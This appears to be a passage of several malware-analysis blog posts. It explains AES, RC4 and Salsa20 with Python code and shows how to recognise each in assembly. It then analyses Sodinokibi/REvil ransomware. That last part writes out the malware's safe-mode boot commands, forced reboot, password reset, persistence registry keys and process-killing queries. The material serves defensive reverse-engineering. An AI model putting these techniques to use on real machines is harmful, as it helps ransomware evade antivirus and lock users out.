Each additional word is the result of XORing the previous word by the word at index i - NK where i is the current index and NK is the number of four-byte words that are in the original cipher key (4, 6, or 8 depending on the number of bits in the key). When the current index is a multiple of NK, the previous word is transformed before undergoing the XOR. This consists of the word being rotated to the left by one (i.e 0xAABBCCDD becomes 0xBBCCDDAA), then each byte being substituted by a value in AES’s Substitution Box (S-Box)– a 256 byte array. This new four-byte word is then XORed by a “round constant”, RCON. The round constant, RCON, can be computed from the algorithm: 2i-1 << 24 which, however, uses a Galois Field to perform multiplication instead of normal Base-10 multiplication. This type of multiplication is beyond the scope of this article, but you can read more about it here. The round constants can also be hardcoded in with the following values for the standard AES-128 algorithm:

The entire AES-128 key expansion algorithm could look like the following Python code:

# Round Constants
RCON = [None, 0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1B, 0x36]

def subword(self, word):
    """AES SubWord Method.

    Args:
        word (list): Word to transform

    Returns:
        int: Transformed word
    """
    bs = struct.pack('>I', word)
    nw = []
    for b in bs:
        nw.append(self.SBOX[b])
    nw = struct.unpack('>I', bytes(nw))[0]
    return nw

def rotword(self, word):
    """AES RotateWord Method.

    Args:
        word (list): Word to transform

    Returns:
        int: Transformed word
    """
    bs = list(struct.pack('>I', word))
    bs.append(bs.pop(0))
    nw = struct.unpack('>I', bytes(bs))[0]
    return nw

def key_expansion(self, key):
    """AES Key Expansion Algorithm.

    Args:
        key (bytes): Key to expand

    Returns:
        list: List of words for expanded key
    """
    ek = []
    i = 0
    while i < 4:
        b = bytes(key[i*4:(i*4)+4])
        w = struct.unpack('>I', b)[0]
        ek.append(w)
        i += 1
    while i < 44: # 44 is the number of words in the expanded key
        tmp = ek[i-1]
        if i % 4 == 0: # Hardcoding the NK value "4" to be AES-128 specific
            rcon_val = struct.unpack('>I',
                                     bytes([self.RCON[i//4], 0, 0, 0]))[0]
            tmp = self.subword(self.rotword(tmp)) ^ rcon_val
        nw = tmp ^ ek[i-4]
        ek.append(nw)
        i += 1
    return ek

Substitution Box (S-Box)

The AES S-Box is a 256-byte hardcoded array. This array is used for the SubWord function in the Key Expansion algorithm, as well as the SubByte function in the main cipher. The bytes in the S-Box are as follows:

SubBytes

The SubBytes function in AES will replace each byte in the state with a byte in the Substitution Box at the index Pi. The following graphic represents this exchange:

Substituting byte “40” in the state with the byte at index 40 in the S-Box

The code for this function could look like the following:

def sub_bytes(self, state):
      """AES SubBytes Method.

      Args:
          state (list): AES State
      """
      for i in range(len(state)):
          state[i] = self.SBOX[state[i]]

ShiftRows

The ShiftRows function will rotate each row in the state to the left. The first row is not shifted at all, the second row is shifted by one, the third row by two, and the fourth row by three.

AES ShiftRows Function

The code for the ShiftRows function can be:

def shift_rows(self, state):
      """AES ShiftRows Method.

      Args:
          state (list): AES State
      """
      for i in range(1, 4):
          state[i*4:(i*4)+4] = state[(i*4)+i:(i*4)+4] + state[(i*4):(i*4)+i]

MixColumns

MixColumns will perform matrix multiplication on each column in the state. The multiplication here also uses the Galois field like in the Key Expansion function. I managed to find a pure Python implementation of this algorithm in GitHub from the user lovasoa which looks like the following:

def gmul(a, b):
    """Special AES function used for multiplication

    Args:
        a (int): Integer to multiply
        b (int): Integer to multiply

    Returns:
        int: The product of the values
    """
    p = 0
    for c in range(8):
        if b & 1:
            p ^= a
        a <<= 1
        if a & 0x100:
            a ^= 0x11b
        b >>= 1
    return p

The Matrix multiplication looks like the following:

AES MixColumns Function

The entire function can be shown as the following Python code:

def mix_columns(self, state):
      """AES MixColumns Method.

      Args:
          state (list): AES State
      """
      for i in range(4):
          a = state[i]
          b = state[i+4]
          c = state[i+8]
          d = state[i+12]
          state[i] = gmul(2, a) ^ gmul(3, b) ^ c ^ d
          state[i+4] = a ^ gmul(2, b) ^ gmul(3, c) ^ d
          state[i+8] = a ^ b ^ gmul(2, c) ^ gmul(3, d)
          state[i+12] = gmul(3, a) ^ b ^ c ^ gmul(2, d)

AddRoundKey

The AddRoundKey function in AES will XOR part of the expanded key by each column of the state. This can be shown as the following code:

def add_round_key(self, state, words):
      """AES AddRoundKey Method.

      Args:
          state (list): AES State
          words (list): List of words from expanded key
      """
      for i in range(len(words)):
          wb = struct.pack('>I', words[i])
          for j in range(4):
              state[(j*4)+i] = state[(j*4)+i] ^ wb[j]

AddRoundKey Function

AES Lookup Table (T-Table) Method

To make the AES algorithm more efficient, the MixColumns, ShiftRows, and SubBytes functions were combined into a a single operation that utilizes five lookup tables. The key expansion algorithm is the same as the original AES algorithm and the state is treated as a normal array and not as a 4x4 matrix.

Lookup Table Generation

The first four lookup tables (T-Tables) are generated by multiplying each byte of the S-Box by the matrix used in the MixColumns function. This will create four tables containing 256 four-byte words. They can be generated using the following algorithm:

T1 = {S[i] * 2, S[i], S[i], S[i] * 3}
T2 = {S[i] * 3, S[i] * 2, S[i], S[i]}
T3 = {S[i], S[i] *  3, S[i] * 2, S[i]}
T4 = {S[i], S[i], S[i] * 3, S[i] * 2}

AES T-Table Generation

The final T-Table combines each byte of the S-Box into a four-byte word and is only used during the final round of encryption.

# Final T-Table generation
T5 = {S[i], S[i], S[i], S[i]}

The entire generation of the lookup tables can look like the following Python code:

def generate_t_tables(self):
    """Generates the tables used for the AES lookup table method."""
    self.t1 = []
    self.t2 = []
    self.t3 = []
    self.t4 = []
    self.t5 = []
    for i in range(len(self.SBOX)):
        word1 = [gmul(self.SBOX[i], 2), self.SBOX[i],
                 self.SBOX[i], gmul(self.SBOX[i], 3)]
        word2 = [gmul(self.SBOX[i], 3), gmul(self.SBOX[i], 2),
                 self.SBOX[i], self.SBOX[i]]
        word3 = [self.SBOX[i], gmul(self.SBOX[i], 3),
                 gmul(self.SBOX[i], 2), self.SBOX[i]]
        word4 = [self.SBOX[i], self.SBOX[i],
                 gmul(self.SBOX[i], 3), gmul(self.SBOX[i], 2)]
        word5 = [self.SBOX[i]] * 4
        self.t1.append(struct.unpack('>I', bytes(word1))[0])
        self.t2.append(struct.unpack('>I', bytes(word2))[0])
        self.t3.append(struct.unpack('>I', bytes(word3))[0])
        self.t4.append(struct.unpack('>I', bytes(word4))[0])
        self.t5.append(struct.unpack('>I', bytes(word5))[0])

Round Encryption

For each round of encryption, the AES T-Table algorithm will XOR a byte of the four lookup tables at the index of the original plaintext array. For example, a normal round would look like the following pseudo-code:

A[0] = PT[0:4] ^ W[0]
A[1] = PT[4:8] ^ W[1]
A[2] = PT[8:12] ^ W[2]
A[3] = PT[12:16] ^ W[3]

K = 4

for round in NUM_ROUNDS:
  S[0:4] = A[0] # Convert word to bytes
  S[4:8] = A[1]
  S[8:12] = A[2]
  S[12:16] = A[3]
  A[0] = T1[S[0]] ^ T2[S[5]] ^ T3[S[10]] ^ T4[S[15]] ^ W[K+0]
  A[1] = T1[S[4]] ^ T2[S[9]] ^ T3[S[14]] ^ T4[S[3]] ^ W[K+1]
  A[2] = T1[S[8]] ^ T2[S[13]] ^ T3[S[2]] ^ T4[S[7]] ^ W[K+2]
  A[3] = T1[S[12]] ^ T2[S[1]] ^ T3[S[6]] ^ T4[S[11]] ^ W[K+3]

This method is more efficient than calling the separate SubBytes, ShiftRows, and MixColumns functions because it is all done in one step. There is no need to peform multiple loops or function calls when all the methods are combined at once.

Final Round

The final round of encryption is similar to the normal rounds except it is using the fifth T-Table and each XOR gets appended to the ciphertext. The following pseudo-code demonstrates this process:

CT[0:4] = T5[S[0]] ^ T5[S[5]] ^ T5[S[10]] ^ T5[S[15]] ^ W[K+0]
CT[4:8] = T5[S[4]] ^ T5[S[9]] ^ T5[S[14]] ^ T5[S[3]] ^ W[K+1]
CT[8:12] = T5[S[8]] ^ T5[S[13]] ^ T5[S[2]] ^ T5[S[7]] ^ W[K+2]
CT[12:16] = T5[S[12]] ^ T5[S[1]] ^ T5[S[6]] ^ T5[S[11]] ^ W[K+3]

AES T-Table Python Code

The full code for the AES T-Table implementation could look like the following:

def cipher_t_table(self, pt):
    """Lookup Table AES implementation.

    Args:
        pt (bytes): Plaintext to encrypt

    Returns:
        bytes: Encrypted Ciphertext
    """
    ct = []
    a = [0, 0, 0, 0]
    # t is a temporary array to avoid us changing array a while performing the algorithm
    t = [0, 0, 0, 0]
    a[0] = struct.unpack('>I', pt[0:4])[0] ^ self.ek[0]
    a[1] = struct.unpack('>I', pt[4:8])[0] ^ self.ek[1]
    a[2] = struct.unpack('>I', pt[8:12])[0] ^ self.ek[2]
    a[3] = struct.unpack('>I', pt[12:16])[0] ^ self.ek[3]
    print(a)
    for round in range(1, 10):
        for i in range(4):
            # Using binary rotation instead of splitting words into array
            t[i] = (self.t1[(a[i] >> 24) & 0xff] ^
                    self.t2[(a[(i + 1) % 4] >> 16) & 0xff] ^
                    self.t3[(a[(i + 2) % 4] >> 8) & 0xff] ^
                    self.t4[(a[(i + 3) % 4]) & 0xff] ^
                    self.ek[(round*4)+i])
        a = t.copy()

    # Final round of encryption
    for i in range(4):
        ct.append(self.SBOX[(a[i] >> 24) & 0xff] ^
                  ((self.ek[-4+i] >> 24) & 0xff))
        ct.append(self.SBOX[(a[(i + 1) % 4] >> 16) & 0xff] ^
                  ((self.ek[-4+i] >> 16) & 0xff))
        ct.append(self.SBOX[(a[(i + 2) % 4] >> 8) & 0xff] ^
                  ((self.ek[-4+i] >> 8) & 0xff))
        ct.append(self.SBOX[(a[(i + 3) % 4]) & 0xff] ^
                  ((self.ek[-4+i]) & 0xff))
    return bytes(ct)

Identifying AES in Assembly Code

Identifying the S-Box/T-Tables

A quick win when trying to identify if a binary is using AES is to look for either the Substitution Box or any of the lookup tables from the T-Tables implementation. For example, in my previous post on sodinokibi ransomware, it was found that the sample was utilizing AES to encrypt data. We can search for the first word of one of the T-Tables in Cutter and see that it exists in the binary.

Searching for word in T-Table in Cutter

Now if we go to that location we can confirm that this is one of the T-Tables used by AES.

Hexdump of T-Table in Cutter

This is a great indicator to identify AES. If we search for references to this array in Cutter, we will see one of the XOR operations during a round of encryption which confirms the use of AES.

T-Table XOR Assembly Code

Identifying Normal AES Functions

Another way to tell if AES is being used is to identify the individual ShiftRows, SubBytes, MixColumns, and AddRoundKey functions. Breaking down and identifying each function individually is more efficient than reverse engineering a large amount of code at once. We will be using the GitHub project tiny-AES, a pure implementation of the AES algorithm using C code, as an example to show how the code would look in Assembly.

AddRoundKey in Assembly

The AddRoundKey function in this binary takes three arguments. The first argument is shifted left by four then AND’d by 0xff0 which is the same as multiplying it by 16, the same size as the state. This is a good indicator that this argument will hold the current round number. This value is then added to the third argument of the function. Because the state cannot be more than 16 bytes in length, we can assume that the third argument is the expanded key and the second argument is the state. After this, we can see two loops that will XOR the state column-by-column against the expanded key.

AddRoundKey Function in Assembly

SubBytes in Assembly

When compiling the code from the GitHub project, the SubBytes is added in-line in the main cipher function rather than making a function call. We are able to identify it as SubBytes by the fact that it takes each byte of the state and uses it as an offset in the S-Box array. Then it will take the byte at that offest and put it into the state at the current index. We can see all of this being done in two loops in the Cipher function:

SubBytes function in Assembly

ShiftRows in Assembly

The ShiftRows function is also added in-line in the main cipher function. It is pretty easy to spot as it consists of several mov instructions on the state to shift each row the correct amount of times.

ShiftRows function in Assembly

MixColumns in Assembly

Finally, the MixColumns function is also in-line. It can be identified through multiple XOR operations being done on the state along with the Galois Field multiplication function. The results of the XOR operations are then put back into the state. In this binary, the MixColumns function will loop four times and perform the XOR operations on each row’s values then update that row with the new values. This can all be seen in the following section:

MixColumns in Assembly

Identifying Key Expansion

Since the Key Expansion algorithm is the same between the T-Table and normal implementations of AES, this indicator can be used to identify AES in other binaries. The first part of the Key Expansion algorithm copies the first four words of the original key into the expanded key. In Assembly, this would look like several mov instructions moving a byte of the original key into the new expanded key. This example is from the tiny-AES GitHub project mentioned earlier:

First part of Key Expansion algorithm in Assembly

The next part of the Key Expansion algorithm checks to see if the current index is divisible by four. If it is, the application will split the previous word into separate registers and performs a lookup of each one in the S-Box (r9). Afterwards, it rotates each byte individually to a new register. This is an in-line implementation of the SubWord and RotWord functions that were described earlier in the article. Finally, the most significant byte of the new word is XOR’d by one of the Round Constants stored in r10.

RotWord, SubWord, and Round Constant use in Assembly

We can see in the Assembly that the new word is being XOR’d by the word four indices previous in the expanded key.

Final section of Key Expansion algorithm

Conclusion

Hopefully this article can help analysts identify implementations of the AES algorithm in other binaries. For additional reading into some of the design decisions for AES and more info on the mathematics behind it, I recommend reading two of the official NIST documentations on AES:

• Federal Information Processing Standards Publication 197, Advanced Encryption Standard (AES)
• AES Proposal: Rijndael

If you have any questions or comments about this post, feel free to message me on my Twitter or LinkedIn. I hope to do more posts like this in the future.

Thanks for reading and happy reversing!

1. RC4 Algorithm
   1. How it Works
      1. Key Scheduling Algorithm (KSA)
      2. Pseudo-Random Generation Algorithm (PRGA)
      3. Putting it All Together
   2. Identifying RC4 in Assembly
2. Salsa20 Algorithm
   1. How it Works
      1. State Generation
      2. Generating Keystream
      3. Putting it All Together
   2. Identifying Salsa20 in Assembly
3. Conclusion

RC4 Algorithm

How it Works

RC4’s internal state is an array of 256 bytes, denoted as S[], ranging from 0-255. RC4 will use its Key Scheduling Algorithm (KSA) to randomly swap the bytes in S[] using the user inputted key as the seed. S[] is then used to generate a keystream via the Pseudo-Random Generation Algorithm (PRGA). This keystream, denoted as KS[], is the same size as the plaintext input. Finally, RC4 will XOR the keystream by the plaintext to create the encrypted ciphertext.

Key Scheduling Algorithm (KSA)

The Key Scheduling Algorithm for RC4 will take the internal state referenced earlier, denoted as S[], and permutate it based on a key the user inputs. For each index in S[], the algorithm will swap the value with another index of S[] based on the value: (j + S[index] + key[index % keylength]) % 256, where j has a starting value of zero. This can be shown in the following Python code:

def KSA(key):
    """Rearranges the values in an array of 256 bytes based on key.

    Params:
        key (str): Key used to permutate the bytes

    Returns:
        list: A permutation of 256 bytes used to generate keystream
    """
    S = [i for i in range(256)] # Initialize array of 256 bytes
    j = 0
    for i in range(256):
        k = ord(key[i % len(key)])
        j = (j + S[i] + k) % 256 # Calculate index to swap
        S[i], S[j] = S[j], S[i] # Swap values in the array based
    return S

Pseudo-Random Generation Algorithm (PRGA)

The output from the Key Scheduling Algorithm is used to generate a keystream using RC4’s PRGA. This keystream will be the same size as the plaintext input and is generated by taking the value at S[i + 1], and swapping that with the value of (j + S[i + 1]) % 256. For this example, i is all numbers from zero to the length of the plaintext and j is zero. After this swap, the value S[ (S[i] + S[j]) % 256 ] is appended to the keystream, thus creating a pseudo-random list of bytes. This can be shown in the following Python code:

def PRGA(S, amount):
    """Pseudo-Random algorithm that creates the final keystream used to encrypt.

    Params:
        S (list): The 256 byte array generated by KSA
        amount (int): Length the keystream needs to be (size of plaintext)

    Returns:
        list: The final keystream used for encryption
    """
    j = 0
    K = []
    for i in range(amount):
        i = (i + 1) % 256
        j = (j + S[i]) % 256
        S[i], S[j] = S[j], S[i]
        K.append(S[(S[i] + S[j]) % 256])
    return K

Putting it All Together

Once the keystream is generated, the RC4 algorithm will use it to encrypt the plaintext input by XORing the bytes together. Decryption works by deriving the same keystream using the original key and XORing that by the ciphertext. This entire process is shown in the following Python code:

def XOR(pt, k):
    """XORs two arrays together.

    Params:
      pt (list): The plaintext array
      k (list): The key to XOR by

    Returns:
      list: The ciphertext
    """
    ct = []
    for i in range(len(pt)):
        ct.append(ord(pt[i]) ^ k[i])
    return ct

def RC4(plaintext, key):
    """Main RC4 function.

    Params:
      plaintext (str): The plaintext to encrypt
      key (str): The key used for encryption

    Returns:
      list: List of encrypted bytes
    """
    S = KSA(key)
    print(S)
    K = PRGA(S, len(plaintext))
    print(K)
    ct = XOR(plaintext, K)
    return ct

Identifying RC4 in Assembly

An easy way of identifying that an application is using the RC4 algorithm is by looking for the value 256 when the algorithm is creating the initial state (S[]). This normally occurs in two loops that run 256 times each and will be either creating or modifying an array.

Loop that creates initial S array of bytes from 0 to 255

It is important to notice that in the second loop in RC4’s key scheduling algorithm the bytes in S[] will be swapped around. You can see this in the following screenshot:

Second loop in S array creation that swaps bytes

You can also identify RC4 by its pseudo-random generation algorithm. Two important things to notice here are the use of the previously created S[] variable and the XOR operand being used. Keep in mind that this section will be looped by the length of the plaintext, not 256 times like the KSA.

Main loop used for RC4 PRGA

By identifying both functionalities in the code, it is safe to say that this is the RC4 algorithm. This particular example was from my analysis of the Sodinokbi Ransomware in a previous post.

Salsa20 Algorithm

How it Works

Salsa20 works by encrypting data in 64 bytes “blocks”. The algorithm is counter-based, meaning that a counter variable is used when generating the key depending on which “block” of data is being encrypted. The internal state of Salsa20 consists of an array of 16 32-bit words that can be shown as a 4x4 matrix:

Salsa20’s initial state

This state then undergoes a “quarter-round” function which randomizes the values in the matrix. Once the state is run through this function multiple times, normally 20, the final result is then added back to the initial state’s values. This becomes the keystream that will be XOR’d against 64 bytes of the plaintext data. Finally, the counter variable will be incremented and the process starts again with the next 64 bytes.

State Generation

The initial state for Salsa20 consists of 16 32-bit words consisting of the following:

If the length of the key is 32 bytes, then it is split between the two sets of four 32-bit words in the state with the first 16 bytes in the first set and the last 16 bytes in the second. Otherwise, if the length of the key is 16 bytes it is repeated between the two sets of four 32-bit words. The state generation can be defined in the following Python code:

def setup_keystate(self, key, nonce, counter=0):
      """Sets up initial keystate for Salsa20.

      Params:
          key (bytes): Key used to encrypt data (16 or 32 bytes)
          nonce (bytes): One-time pad used to generate keystate
          counter (int): Determines which blok is being encrypted
      """
      nonce = list(struct.unpack('<2I', nonce))  # Splits nonce into 2 words
      count = [counter >> 16, counter & 0xffff]  # Generates high and low order words for counter
      if len(key) == 32:
          const = list(struct.unpack('<4I', b'expand 32-byte k'))  # Splits const into 4 words
          k = list(struct.unpack('<8I', key))  # Splits key into 8 words
          self.state = [const[0], k[0],     k[1],     k[2],
                        k[3],     const[1], nonce[0], nonce[1],
                        count[1], count[0], const[2], k[4],
                        k[5],     k[6],     k[7],     const[3]]
      elif len(key) == 16:
          const = list(struct.unpack('<4I', b'expand 16-byte k'))
          k = list(struct.unpack('<4I', key))  # Splits key into 4 words
          self.state = [const[0], k[0],     k[1],     k[2],
                        k[3],     const[1], nonce[0], nonce[1],
                        count[1], count[0], const[2], k[0],
                        k[1],     k[2],     k[3],     const[3]]

An example of how the state would look with a 16 byte and 32 byte key can be seen below:

Difference between 16 and 32 Byte key in Salsa20

Generating Keystream

To generate the keystream, Salsa20 uses a “quarter-round” function to randomize the data in its initial state. This function is called “quarter-round” as it is working on one column or row at a time out of four, or one “quarter” at a time. The default number of “rounds” is 20, unless otherwise specified. On even rounds, the algorithm will transform its column values using the quarter-round function and on odd rounds it will transform its rows. The quarter-round funtion can be shown in the following Python code:

def QR(self, x, a, b, c, d):
      """quarter-round function used in Salsa20.

      Params:
          x (array): Starting array to permutate
          a (int): index value for array
          b (int): index value for array
          c (int): index value for array
          d (int): index value for array
      """
      x[b] ^= rol((x[a] + x[d]) & 0xffffffff, 7)
      x[c] ^= rol((x[b] + x[a]) & 0xffffffff, 9)
      x[d] ^= rol((x[c] + x[b]) & 0xffffffff, 13)
      x[a] ^= rol((x[d] + x[c]) & 0xffffffff, 18)

Once the initial state is run through this permutation function for the number of rounds specified, it will then add the newly randomized state to its original values. This will ensure that the process cannot be reversed and the key cannot be recovered. The entire keystream generation process looks like:

def generate_ks(self):
    """Generates Keystream for Salsa20

    Returns:
        bytes: 64-byte keystream
    """
    x = self.state[:]
    for i in range(10):
        self.QR(x, 0, 4, 8, 12)
        self.QR(x, 5, 9, 13, 1)
        self.QR(x, 10, 14, 2, 6)
        self.QR(x, 15, 3, 7, 11)

        self.QR(x, 0, 1, 2, 3)
        self.QR(x, 5, 6, 7, 4)
        self.QR(x, 10, 11, 8, 9)
        self.QR(x, 15, 12, 13, 14)
    out = []
    for i in range(len(self.state)):
        out.append((self.state[i] + x[i]) & 0xffffffff)
    out = struct.pack('<16I',
                      out[0],  out[1],  out[2],  out[3],
                      out[4],  out[5],  out[6],  out[7],
                      out[8],  out[9],  out[10], out[11],
                      out[12], out[13], out[14], out[15])
    return out

Putting it All Together

After the keystream is generated, the Salsa20 algorithm will XOR it by the first 64 bytes, or less, of the plaintext. If there is more than 64 bytes in the plaintext data, then the counter variable is incremented and a new keystream is generated for the next 64 byte block. This process continues until the entirety of the plaintext is encrypted. The Python code for this would look like the following:

def encrypt(self):
      ct = []
      print(len(self.data))
      for i in range(0, len(self.data), 64):
          block = self.data[i:i+64]
          self.setup_keystate(self.key, self.nonce, i//64)
          ks = self.generate_ks()
          for x in range(len(block)):
              ct.append(block[x] ^ ks[x])
      return ct

Identifying Salsa20 in Assembly

The easiest way to identify Salsa20 when analyzing a binary is to look for the constants expand 32-byte k or expand 16-byte k. These will almost always be present for Salsa20 and are a guaranteed indicator.

Salsa20 constant value being moved into the state

However, in order to evade analysis, the author might change these constant values. If these values are changed, next thing to look for would be the quarter-round function that Salsa20 uses to generate the keystream. To locate this, the analyst should be looking for the rol operands followed by the normal quarter-round values: 7, 9, 13, and 18.

Salsa20 quarter-round function showing the rol operands

The examples for this section were from an open source version of the Salsa20 algorithm written in C by alexwebr.

Conclusion

Hopefully this post will help newer analysts in identifying basic crypto functions that can be used by malware. By learning how the algorithms operate at a low level, it will make it easier to spot them in the wild and possibly be able to identify different variations of the same algorithm that an author may use to evade detection. If you have any questions or comments about this post, feel free to message me on my Twitter or LinkedIn.

Thanks for reading and happy reversing!

🆕 #REvil v2.05

-smode switch configures OS to boot into safe mode w/ networking via:

(pre-Vista) bootcfg /raw /a /safeboot:network /id 1
or
(Vista+) bcdedit /set {current} safeboot network

configures auto-lognn via WinLogon 🔑 w/ 'DTrump4ever' password

— R3MRUM (@R3MRUM) March 26, 2021

1. Background
2. Analysis TL;DR
3. Anti-Analysis Features Used in Sodinokibi
   1. Dynamic Import Address Table (IAT)
   2. String Encryption
4. Configuration Information
5. Command-line Arguments
6. Language Checks
7. Key Generation
8. Persistence
   1. Run On Startup
   2. Reg Key Creation
9. Sodinokibi SafeMode
10. Privilege Escalation
11. Service and Process Killing
12. Shadow Copy Deletion
13. C2 Communication
14. File Encryption
15. Ransom Note Generation
16. Conclusion
17. IOCs
18. ATT&CK Methodologies

Background

Sodinokibi, or REvil, was first discovered in April of 2019 where it was seen exploiting a vulnerability in Oracle WebLogic. It shares many similarities to the GandCrab ransomware strain that retired around the same time Sodinokibi popped up, leading researchers to speculate whether this ransomware is operated by the same people.

Being a Ransomware-as-a-Service means that clients will pay the operators for access to the latest version and have the group operate the infrastructure for them. There are two fields in Sodinokibi’s configuration that will keep track of the client and the particular client campaign during which the ransomware is deployed. You can find this information in the configuration section below.

Sodinokbi has been seen used in several notable breaches including Travelex and Acer. The group has recently updated the strain to add a new feature that will reboot Windows into Safe Mode to bypass AV.

Analysis TL;DR

Sodinokibi will start by dynamically building an import table to make it harder for analysts to statically analyze the sample. It also uses encrypted strings throughout the binary to make it difficult to analyze. During the initial startup phase, Sodinokibi will decrypt its configuration using RC4 which contains information such as C2 domains and one of the public keys Sodinokibi will use when encrypting files.

After the initial startup phase, Sodinokibi will check the user’s language and keyboard layout to see if they are in a whitelisted location. If not, then the ransomware will generate a public and private key pair using the Elliptic-Curve Diffie-Hellman algorithm. Sodinokibi stores private and public keys as well as other important information in specific registry keys to use next time the sample is run.

This version of Sodinokibi comes with a new feature known as SafeMode which will reboot the compromised computer into Windows Safe Mode with Networking. This will prevent most antivirus software from running which means Sodinokibi can run without issue.

If the exp value in the configuration is set to true, Sodinokibi will attempt to escalate privileges by prompting the user in an endless loop. After this, Sodinokibi will delete shadow copies and kill any processes or services that match a list stored in its configuration. It will also send information about the computer it is running on as well as the generated private key to a list of C2 domains during this phase.

Finally, Sodinokibi will use Windows IO Completion Ports to quickly encrypt files on the system, ignoring those that match the whitelisted filenames. The files are encrypted using the Salsa20 algorithm with a metadata blob the attacker can use to decrypt the file being appended to the end. Sodinokibi can walk through local drives as well as network shares depending on if the -nolan and -nolocal command-line switches are set. After all the files are encrypted, Sodinokibi will change the user’s background to tell them to read the ransom note.

Anti-Analysis Features Used in Sodinokibi

Dynamic Import Address Table (IAT)

Sodinokibi will manually load the import address table as an anti-analysis technique. It does this by looping through a list of DWORDs and putting the correct function pointer into the IAT depending on the value of the DWORD. To bypass this technique, I ran the binary in x64dbg and dumped it after the call to the IAT population function using Scylla. This allowed me to continue analyzing this sample statically without having to worry about which functions were being called.

String Encryption

Most of the strings in the Sodinokibi sample were encrypted. The string decryption function will take five arguments: an address in memory that is served as a base, the offset from that base to the start of the key, the key length, the length of the ciphertext, and a pointer to the target variable to populate with the decrypted string.

String Decryption Function

The function will then take the data from base + offset:base + offset + key_length and store it in a buffer that it will use as a key. It will use that key to RC4 decrypt the data at base + offset + key_length:base + offset + key_length + ciphertext_length. It will store the RC4 decrypted result in the target variable.

Substitution Box generation algorithm which led me to believe this was RC4

Structure of the encrypted data

From this information, I created a small script in Python that will take the first four parameters passed into the decryption function and return the resulting string. You can find that script on my GitHub.

Configuration Information

The configuration for the Sodinokibi sample is stored as an RC4 encrypted JSON string in a section of the binary appropriately named .cfg. The key for decrypting the configuration is contained in the first 32 bytes of the section. After that section is a CRC hash of the ciphertext that Sodinokibi uses to validate the data before decrypting. Below is a table of all four parts of the section:

The configuration structure is stored in JSON and contains 19 keys. Below is a table of the information stored in the config:

An interesting thing to note is that both of the unused fields in the configuration were used in previous versions of Sodinokibi. According to an analysis done from Panda Security, the wipe value was used to determine if Sodinokibi would delete directories stored in the wfld value.

The full config from this particular sample can be found here.

Command-line Arguments

The newest version of Sodinokibi has seven optional command-line switches that control different aspects of the infection process. The table below gives an overview of the different switches available:

Language Checks

One of the first things Sodinokibi will do is identify the user’s location based on the language of the system and the user’s keyboard layout. Sodinokibi utilizes the GetUserDefaultUILanguage and GetSystemDefaultUILanguage functions to get the language code and then runs that code against a list of hardcoded values. If the system language matches, then the program will exit.

List of languages that are whitelisted from being encrypted

Next, it will get a list of input locale identifiers for the system using the GetKeyboardLayoutList function. It will take the last byte of these codes and compare them to a hardcoded list of values. If any of the input locale identifiers match, then execution is halted.

List of input locale codes Sodinokibi looks for

Key Generation

Sodinokibi will use the elliptic curve algorithm Curve25519 to generate a public and private key pair as well as shared keys that will be used for encryption. Once the key pair is generated, Sodinokibi will take the new private key and encrypt it using the public key in the configuration, pk, and another public key that is stored in the binary.

Code snippet that shows public/private key pair being generated and private key being encrypted

The encryption process works by creating a new, temporary key pair we’ll call tmp_key and creating a shared key between the private tmp_key and the public key passed into the function. We will call this shared_key for simplicity’s sake. Next, Sodinokibi will generate a random 16 byte IV value. It will then use the IV and shared_key to encrypt the data that is passed into the function using AES. Finally, Sodinokibi will take the newly encrypted data and append the value of shared_key, the IV, and the CRC hash of the encrypted data to the end.

Function used to encrypt the private key

For the ransomware operator to decrypt the data, they would need to use the shared_key and their own private key to generate a new Curve25519 shared key. They can use this newly generated shared key to decrypt the data.

Analysts from Intel471 managed to find the exact open-source implementation of what Sodinokibi is using to implement the Curve25519 algorithm. You can read their full report on it here.

Persistence

Run On Startup

If the value of arn in Sodinokibi’s configuration info is set to true, then it will attempt to make itself persistent by creating a registry key under SOFTWARE\Microsoft\Windows\CurrentVersion\Run. It will create the key qZhotTgfr3 with the path to the binary as the value. This will allow the malware to run every time the user reboots their machine.

Function that will allow the ransomware to run on startup

Reg Key Creation

Sodinokibi will also store important information such as generated keys in the registry to retrieve them next time it runs. It will store these keys under SOFTWARE\BlackLivesMatter. The table below shows the keys it creates and their values:

Sodinokibi SafeMode

One of the new features from this version of Sodinokibi is the -smode flag. When running with this flag, Sodinokibi will reboot the computer into Windows Safe Mode with Networking. The reason for this is that most Antivirus software will not run when Windows is in Safe Mode. This allows Sodinokibi to bypass most Antivirus products easily.

To set up SafeMode, Sodinokibi will grab the current username and change its password to “DTrump4ever”. It will then enable Autologon privileges for the user by editing the SOFTWARE\Microsoft\Windows NT\CurrentVersion\winlogon registry key. It will also enable the setting for the user to log in with Administrator privileges by default.

Code that sets automatic logon and changes user password

After this, the ransomware will set the SOFTWARE\Microsoft\CurrentVersion\RunOnce registry key to set itself to run on the next startup. It will store this information in the registry key AstraZeneca. It will then set the computer to boot into Windows Safe Mode on the next startup using either bootcfg or bcdedit depending on the Windows version. You can find the commands in the table below:

To ensure these changes aren’t permanent, the malware will set one more registry key under RunOnce called MarineLePen. This will contain another bootcfg or bcdedit command that will undo the changes on startup.

Code that sets the computer to boot into Windows Safe Mode

Finally, the function will restart the computer by running the command SHUTDOWN -r -f -t 02.

Privilege Escalation

If the value of exp in Sodinokibi’s configuration is set to true, it will attempt to escalate privileges to Administrator. First, the malware will get a handle to the current process using GetCurrentProcess. It will then check the current permissions that the process is running using OpenProcessToken and GetTokenInformation. If the application is already running as Administrator, then the function will exit. If not, it will use the runas command through the function ShellExecute to prompt the user to run the application with Administrator privileges. It will continue to prompt the user in an endless loop until the user finally accepts.

Function that will elevate Sodinokibi’s privileges

Service and Process Killing

If Sodinokibi is run without the -silent switch, it will attempt to kill processes and services that match the values in the prc and svc lists in the configuration. It will start this by spawning a thread that will create a COM Object for IWbemServices. Sodinokibi will use this COM Object to search for newly created processes or modified services with the following queries:

SELECT * FROM __InstanceCreationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Process'
SELECT * FROM __InstanceModificationEvent WITHIN 1 WHERE TargetInstance ISA 'Win32_Service'

The IWbemServices::ExecMethodAsync function, shown as offset 0x5c of the created COM Object, will send the results to an IWbemObjectSink Interface which runs them through another function at offset 0xb32809. This function will compare the process/service name against the lists in the configuration and kill them if they match.

Function that kills processes and services using COM Objects

